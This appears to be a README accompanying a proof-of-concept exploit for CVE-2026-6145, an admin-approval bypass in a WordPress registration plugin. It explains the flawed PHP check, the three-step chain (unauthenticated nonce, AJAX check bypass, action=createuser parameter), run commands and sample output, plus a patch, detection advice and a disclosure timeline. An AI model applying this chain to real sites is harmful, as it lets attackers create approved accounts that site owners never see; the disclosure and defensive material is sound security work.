
User Registration & Membership <= 5.1.5 - Unauthenticated Missing Authorization to Admin Approval Bypass via 'action' Parameter
Proof-of-concept exploit for CVE-2026-6145, a missing authorization vulnerability in the User Registration & Membership plugin for WordPress (≤ 5.1.5) that allows unauthenticated attackers to bypass the admin approval requirement when creating new accounts.
| CVE ID | CVE-2026-6145 |
| CNA | Wordfence |
| Vulnerability | Missing Authorization — Admin Approval Bypass |
| CWE | CWE-862 (Missing Authorization) |
| CVSS 3.1 | 5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Affected | User Registration & Membership for WordPress — all versions ≤ 5.1.5 |
| Patched | Version > 5.1.5 |
| Researcher | Anthony Cihan — Offensive Security Lead, Obviam |
| Disclosure | Wordfence Responsible Disclosure Program |
| Published | 2026-05-14 |
The is_admin_creation_process() method in includes/class-ur-user-approval.php is the sole gate determining whether a new registration should be treated as an administrator-initiated creation. When this method returns true, two side effects occur:
set_user_status() sets the new user's status to APPROVED, skipping the pending-approval queue.send_request_notification_to_admin() suppresses the admin notification email for the new registration.The method itself, in version 5.1.5, contains no authentication, authorization, or nonce verification:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Because $_REQUEST merges $_GET, $_POST, and $_COOKIE, an unauthenticated attacker can satisfy this check by adding ?action=createuser to the URL of a registration form submission. The plugin then auto-approves the account and never alerts the administrator.
While CVE-2026-6145 specifically addresses the missing authorization in is_admin_creation_process(), full unauthenticated exploitation against a hardened registration form requires chaining it with two ancillary issues in the same plugin version, both of which the included PoC handles automatically:
The result: a fully approved user account, created without administrator interaction or notification, on a site that explicitly requires admin approval for new registrations.
requests librarydata-form-id)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
Example:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
After running the PoC, log into wp-admin and check Users → All Users:
On WordPress sites that use admin approval as the primary gate against unwanted account creation — common for membership sites, gated communities, internal portals, B2B platforms, and any site requiring identity verification before access — this vulnerability silently neutralizes that control. Specific consequences include:
The CVSS score reflects integrity-only impact (no direct data confidentiality loss or service disruption), but real-world impact scales with how heavily the affected site relies on the approval workflow as a security boundary.
| Version | Status |
|---|---|
| ≤ 5.1.5 | Vulnerable |
| > 5.1.5 | Patched |
Users → All Users for unexpected approved accounts created since the vulnerable version was installed. Pay particular attention to accounts with no corresponding admin notification email.The vulnerable method should require both a capability check and a valid nonce:
protected function is_admin_creation_process() {
return current_user_can( 'create_users' )
&& isset( $_REQUEST['action'] )
&& 'createuser' === $_REQUEST['action']
&& isset( $_REQUEST['_wpnonce_create-user'] )
&& wp_verify_nonce(
wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
'create-user'
);
}
| Date | Event |
|---|---|
| 2026-03-09 | Vulnerability identified during authorized security audit of plugin v5.1.4 |
Researchers tracking this plugin's authorization model may also be interested in:
register_member (≤ 5.1.2)Research, discovery, and PoC development:
Anthony Cihan Offensive Security Lead — Obviam
If you reference this work, please cite CVE-2026-6145 with attribution to Anthony Cihan / Obviam.
This proof-of-concept is published for defensive research, detection engineering, and authorized security testing only. It is intended to assist:
The original research was conducted in an authorized lab environment under signed agreement, with coordinated disclosure to the vendor via the Wordfence Responsible Disclosure Program prior to public release.
Running this PoC against any system you do not own or do not have explicit written authorization to test is illegal under the U.S. Computer Fraud and Abuse Act (18 U.S.C. § 1030), the U.K. Computer Misuse Act 1990, the E.U. Directive 2013/40/EU, and equivalent legislation in most jurisdictions. The author and Obviam disclaim all liability for misuse of this code.
By using this repository you acknowledge that you have read, understood, and accepted these terms.
Released under the MIT License. Attribution required per the credits section above.
| Step | Issue | Purpose |
|---|
| 1 | Unauthenticated nonce generation via the user_registration_get_recent_nonce wp_ajax_nopriv endpoint (Referer-only check) | Obtain a valid ur_frontend_form_nonce without an authenticated session |
| 2 | AJAX nonce check bypass when ur_fallback_submit is non-empty in the form handler | Submit registration via the fallback path without a valid AJAX referer |
| 3 | CVE-2026-6145 — action=createuser in $_REQUEST flips is_admin_creation_process() to true | Auto-approve the new account and suppress admin notification |
| 2026-03-09 | Initial report submitted to Wordfence Responsible Disclosure Program |
| 2026-04-12 | CVE-2026-6145 reserved by Wordfence (CNA) |
| 2026-05-14 | Vendor patched version published; CVE-2026-6145 published |
| 2026-05-14 | This PoC released coordinated with public advisory |